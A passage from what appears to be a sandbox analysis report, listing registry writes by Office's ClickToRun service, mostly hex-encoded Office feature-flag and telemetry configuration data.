e4164646974696f6e616c4461746154797065456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e426c6f636b466565646261636b457870657269656e636542617365644f6e5072697661637953657474696e6773222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e426c6f636b537572766579457870657269656e636542617365644f6e5072697661637953657474696e6773222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e436f686572656e6365457870657269656e6365456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e446961676e6f73746963735341532e55706c6f6164657254797065222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e456e61626c65466565646261636b5632536368656d61222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e466565646261636b446973616d626967756174696f6e53637265656e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e486f73746564466565646261636b5461736b50616e65222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e486f73746564537572766579456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652e536173466565646261636b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446961676e6f73746963732e44697361626c654661737446696c746572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e414354522e5468726f74746c654361706163697479222c20225622203a2022696e7433325f747c313022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e414354522e5468726f74746c65496e74657276616c4d736563222c20225622203a2022696e7433325f747c3130303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4261636b7374616765496e6170704e61765632456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4d6f6465726e436f6d6d656e74732e49735265706c7954696d657374616d704c6f6767696e67456e61626c6564222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4d6f6465726e436f6d6d656e74732e4a53476174652e4e657743617264426f7264657273222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4d6f6465726e436f6d6d656e74732e4a53476174652e50616e65546162466f6375734669786573222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4d6f6465726e436f6d6d656e74732e50726f636573734368616e676573496e766f6b65456c7365506f7374222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4d736f2e4f757453706163652e446570726563617465536574496d6167654173796e63222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4f666669636553746172742e466978466f7241444f33393032343239222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4368616e6765476174652e4f757453706163652e536861726564576974684d652e44697361626c65446f63756d656e74735265717565737449665573696e674167674d7275222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e436865636b41637469766974794c6f67546f456e61626c654d656e74696f6e73222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e456e61626c655369746573467269656e646c7950617468222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e486973746f72794c6567616379436c65616e7570456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e486973746f7279556e696f6e466978456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e486f6d65506167652e436f6c6c61707369626c65536c616273222c20225622203a2022696e7433325f747c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e496e4170704e61762e43726561746552656e616d6544656c657465222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4d736f2e4f666669636553746172742e466978466f7241444f333838363036375632222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e4f44656c74612e53747265616d4d6f6465222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e446f63732e576f7069222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4543532e4361636865457870697279496e4d696e222c20225622203a2022696e7433325f747c37323022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4543532e436f6e666967496444656c696d69746572496e4c6f67222c20225622203a20227374643a3a77737472696e677c3b22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4543532e436f6e6669674c6f67546172676574222c20225622203a20227374643a3a77737472696e677c64656661756c7422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4543532e44697361626c65436f6e6669674c6f67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4543532e456e61626c65536d61727445546167222c20225622203a2022696e7433325f747c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e454353546573742e746573747661726961626c65222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e457863656c2e496e7369676874732e456e61626c65436f6d706c65785069766f745461626c65496e5069766f745461626c655265636f6d6d656e646572222c20225622203a20224d736f3a3a416e79547970657c75696e7431365f747c323b626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e457863656c2e496e7369676874732e456e61626c655069766f745461626c655265636f6d6d656e646572222c20225622203a20224d736f3a3a416e79547970657c75696e7431365f747c323b626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e457863656c2e496e7369676874732e5069766f745461626c655265636f6d6d656e64657252616e6b65725632222c20225622203a20224d736f3a3a416e79547970657c75696e7431365f747c323b626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e457863656c2e4e616d656453686565745669657750657273697374656e6365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e457863656c2e536f72744f626a4d616e6167656d656e74222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4578706572696d656e746174696f6e2e436f6e66696746657463684d616e61676572456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4578706572696d656e746174696f6e2e44796e616d6963447069222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4578706572696d656e746174696f6e2e457870466972737453657373696f6e5461736b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4578706572696d656e746174696f6e2e4665617475726551756572794c6f676765722e456e61626c655374617469634c6f6767696e67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4578706572696d656e746174696f6e2e5472696d41707049644c697374546f4665746368222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4578706572696d656e746174696f6e2e57696e333244657669636543616e617279222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4368616e6765476174652e416c7761797346616c6c6261636b466f7253796e634261636b6564222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4368616e6765476174652e44657072656361746546696c65536572766572496e666f54797065222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4368616e6765476174652e456e61626c654261636b67726f756e6455706c6f6164222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4368616e6765476174652e5573654e65774d736f446f6354656c656d65747279496e697450617468222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e436865636b5265766973696f6e53747265616d457175616c222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e436f6c6c616250726f7053746f726543616368655265736574436865636b6572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e436f7079546f43616c6c6261636b456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4373694c696d6974656446616c6c6261636b546f486c696e6b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e44534c49422e456e61626c654c6162656c73556e757365644f72436c6561726564436865636b222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e446570726563617465436865636b5374617274735769746846696c654e616d65457869737473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e446973616d626967756174654373694e6574776f726b436f6e6e65637469766974794572726f72222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e446973636f52657472795374726174656779222c20225622203a2022696e7433325f747c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e446973636f5374726963744d6f6465456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e446f63732e4d736f2e4f757473706163652e496e6974436163686546726f6d464948222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4472675570646174655265666572656e63657353796368726f6e6f7573222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e44796e616d6963467261676d656e7453697a65222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e456e61626c65466f726365486f73744d6f6465466f7253796e634261636b6564486f7374 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|13" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.9 = 7b205c224576656e74466c61675c22203a20323536207d2c205c225461736b70616e65417070436d64496e7374616c6c6174696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2255585c22203a207b205c224576656e74735c22203a207b205c224c61756e63684f6d657853534f436f6e73656e744469616c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416761766555784d696e6f72426c6f636b65645c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2241707044656c6574656446726f6d446f63756d656e745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224469616c6f67436c6f7365645c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224469616c6f674f70656e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253686f77496e666f626172436f6e73656e74566965775c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253686f774c6f6164696e6753746174655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253686f775265616374566965775c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22416464696e50726566657463685c22203a207b205c224576656e74735c22203a207b205c22507265666574636849636f6e735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22507265666574636855726c5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c225072656c6f61644d616e69666573745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253616e64626f78507265666574636855726c5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2241637469766174696f6e5c22203a207b205c224576656e74735c22203a207b205c224352656d6f74657250726f78795c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2253696e676c655369676e4f6e5c22203a207b205c224576656e74735c22203a207b205c22446973706c617953534f436f6e73656e7450616765466f7241706943616c6c5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224578656375746547657453534f546f6b656e496e7465726e616c5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2247657441757468546f6b656e5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d2c205c224576656e74735c22203a207b205c224f445041637469766174696f6e466f7254616761353572735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f4450417070436f6d6d616e64735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434f4d416464696e4f7065726174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f4450417070436f6d6d616e647343616368655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f4450417070436f6d6d616e6473496e7374616c6c54696d655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f4450417070436f6d6d616e6473526962626f6e436c69636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224557534c69626c657443616c6c735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446565704c696e6b696e67436865636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446565704c696e6b696e67446f63756d656e744f70656e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446565704c696e6b696e67446f63756d656e7453686f77547275737455495c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446565704c696e6b696e675472757374526573756c745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224577734c6173745570646174655374617475734974656d436c69636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224577734c6173745570646174655374617475734974656d53686f776e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2247656e314163746976697479416767726567617465644261736553756272756c655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2247656e314163746976697479416767726567617465644661696c757265436f756e745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2247656e3141637469766974794167677265676174656453756363657373436f756e74576974685461675c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f44504170704d616e6167656d656e744d656e755c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f4450496e73657274696f6e4469616c6f675c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f445050617273654e65774d616e69666573744572726f725c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f44505265636f6d6d656e64656447616c6c657279436c69636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f4450526962626f6e427269646765526962626f6e436c69636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f445053616e64626f7841637469766174696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f45504d616e696665737450617273696e675c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22526962626f6e427574746f6e436c69636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253746f7265557365725374617475735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253746f7265557365725374617475734572726f725c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f445041637469766174696f6e466f7254616761353572715c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224f44504c6174656e63795c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e466565646261636b222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c2253617665526573706f6e73655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e46696c65494f222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c224353495c22203a207b205c224576656e74735c22203a207b205c225265717565737441646170746572556e657870656374656443616c6c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416d49416c6f6e6550726f63657373526573706f6e73655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e73616374656453747265616d446174615570646174655472616e73616374696f6e436f6d6d69745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e73616374656453747265616d446174614d657267655472616e73616374696f6e436f6d6d69745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224343616368656446696c655363686564756c6546696c6555706c6f6164526571756573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243656c6c53746f726167654f6e426c6f624865617052657175657374526573756c745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243656c6c53746f726167654f6e426c6f624865617052657175657374526573756c74434d555c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f6e49734f6e6c79436c69656e7452657175657374436f6d706c6574655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22437369446176436c69656e7453656e64526571756573745374617475735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574446f63756d656e7446726f6d55726c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224343616368656446696c654373694c6f616446696c655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224343616368656446696c654373695361766546696c655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22446f63756d656e74466163746f72794372656174654e6577446f63756d656e745c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22446f63756d656e7452656e616d655375626d6974576f726b4974656d5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22464d617050617468735c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22476574536861726555726c466f72436f6e7461696e65724173796e635c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22476574536861726555726c466f7246696c654173796e635c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22476574576f706955726c46726f6d46696c654964656e7469666965724173796e635c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2249446f63756d656e7447657456657273696f6e4c6973745c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2249446f63756d656e74526573746f72654173796e635c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224973446f776e6c6f616465644261736556616c69644e6f48617368436865636b5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2253796e634261636b65645265636f6e63696c65725472795265636f6e63696c65546f4c6174657374416674657256657273696f6e4e6f74466f756e645c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2253796e634261636b65645265636f6e63696c65725472616e736974696f6e4f6e6c696e655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2254727944657374726f794f666669636546696c6543616368655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22576f706942726f77736542726f777365546f436f6e7461696e65724173796e635c22203a207b205c224576656e74466c61675c22203a203438383936207d207d2c205c225375624e616d657370616365735c22203a207b205c2253746f726167655c22203a207b205c224576656e74735c22203a207b205c2243616368654f70746963735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f7074696373446f776e6c6f61644572726f72446973747269627574696f6e735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f7074696373446f776e6c6f61644572726f72446973747269627574696f6e7337446179735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f70746963734572726f72735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f707469637346696c6553746f726546696c6553697a65446973747269627574696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f707469637355706c6f61644572726f72446973747269627574696f6e735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f707469637355706c6f61644572726f72446973747269627574696f6e7337446179735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f7074696373576f726b696e67436f707946696c6553697a65446973747269627574696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2252656d6f766546696c65456e7472795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f707469637350657246696c655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2253746172744f666669636546696c6543616368655c22203a207b205c224576656e74466c61675c22203a203438383936207d207d2c205c225375624e616d657370616365735c22203a207b205c2243656e7472616c5461626c655c22203a207b205c224576656e74735c22203a207b205c22436865636b536368656d6156657273696f6e5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22436c65617243616368655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22437265617465446174616261736546696c655573696e6754656d706c6174655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2243726561746544617461536f757263654661696c7572655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2244617461736f757263654f70656e4661696c7572655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2246696c65436163686550726f70657274696573526f774e6f74466f756e645c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224d69677261746546696c654e616d6546726f6d496e695c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22526f77736574556e6b6e6f776e4661696c7572655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22536368656d61557067726164655c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d2c205c224661756c744d616e6167656d656e745c22203a207b205c224576656e74735c22203a207b205c224661756c745265636f766572795c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224661756c745265706f72745c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d207d207d207d207d2c205c2250726f746f636f6c5061727365725c22203a207b205c224576656e74735c22203a207b205c2250617273655572695c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22556e7061636b55726c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496672496e697441726773576f72645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2248724c61756e636855726c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22464c6f6164436d644c696e65436f72655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2250726f746f636f6c48616e646c65725c22203a207b205c224576656e74735c22203a207b205c225472794f70656e696e674c6f7248797065724c696e6b496e4e6174697665436c69656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2250726f746f636f6c48616e646c65724d61696e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22556e7061636b4c696e6b5c22203a207b205c224576656e74735c22203a207b205c22556e7061636b4c696e6b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22556e7061636b4c696e6b4173796e635c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22556e7061636b4c696e6b5769746848696e745c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c225254435c22203a207b205c224576656e74735c22203a207b205c2246696e6453657373696f6e456e64706f696e7452756e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22446f63756d656e74536861726555726c5c22203a207b205c224576656e74735c22203a207b205c22556e7061636b536861726555726c416e6448616e646c65526573756c745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f6e556e7061636b55726c436f6d706c657465645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22486c696e6b5c22203a207b205c224576656e74735c22203a207b205c224d736f4872486c696e6b43726561746546726f6d537472696e675c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224d534f5c22203a207b205c224576656e74735c22203a207b205c22434d736f4f4c446f634e657744657374727563746f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6f63616c446f63756d656e74496e666f557073656c6c4576656e745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224c6f63616c446f63756d656e74496e666f466c796f757444726f707065645c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2248616e646c65417574684661696c7572655f5573654578697374696e6743726564735f47656e657269634661696c7572655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f4f4c446f6342617365476574504b4d436c69656e7445785c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f536572766572496e666f476574536572766572496e666f5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745265636f766572794872476574447270436f72655c22203a207b205c224576656e74466c61675c22203a2032 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.13 = 6c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5558506c6174666f726d2e4973506572736f6e6150726f66696c65504358456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5558506c6174666f726d2e52656d6f76654d53414148616e646c6572466f7254657874426f78222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5558506c6174666f726d2e5465616368696e6743616c6c6f757454696d654f6e53637265656e54656c656d65747279222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5558506c6174666f726d2e5468656d696e672e5573654d656469756d4c756d696e616e63655468726573686f6c64222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5558506c6174666f726d2e5569614e6f74696669636174696f6e73466f72427573426172456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5558506c6174666f726d2e5569614e6f74696669636174696f6e73466f725465616368696e6743616c6c6f7574456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e566973696f2e484f50657266496d70726f76656d656e7473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e57686174734e65772e454353446174614c6f61646564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d3130304b42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d3130304d42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d31304d42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d314742416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d314d42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d3530304b42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d3530304d42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d35304d42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d354d42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d5265616c6c79426967416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e456e61626c655061747465726e73496e41746e74786e64222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e52616973655569614175746f436f72726563744576656e7457697468456e74697265576f7264222c20225622203a2022626f6f6c7c3122207d205d2c2022464347726f75704d617022203a207b2022464347726f75704d61705f3122203a205b207b20224622203a20224d6963726f736f66742e4f66666963652e41697253706163652e426c6f636b656447726170686963734164617074657231222c20225622203a20227374643a3a77737472696e677c33323930323b303b303b303b383434343234393330373838333230323b323b303b303b303b303b3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e41697253706163652e426c6f636b656447726170686963734164617074657232222c20225622203a20227374643a3a77737472696e677c33323930323b303b303b303b383434343234393330373838323936373b323b303b303b303b303b3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e41697253706163652e426c6f636b656447726170686963734164617074657233222c20225622203a20227374643a3a77737472696e677c33323930323b303b303b303b383434343234393330373838333231313b323b303b303b303b303b3022207d2c207b20224622203a20224d6963726f736f66742e4f6666696365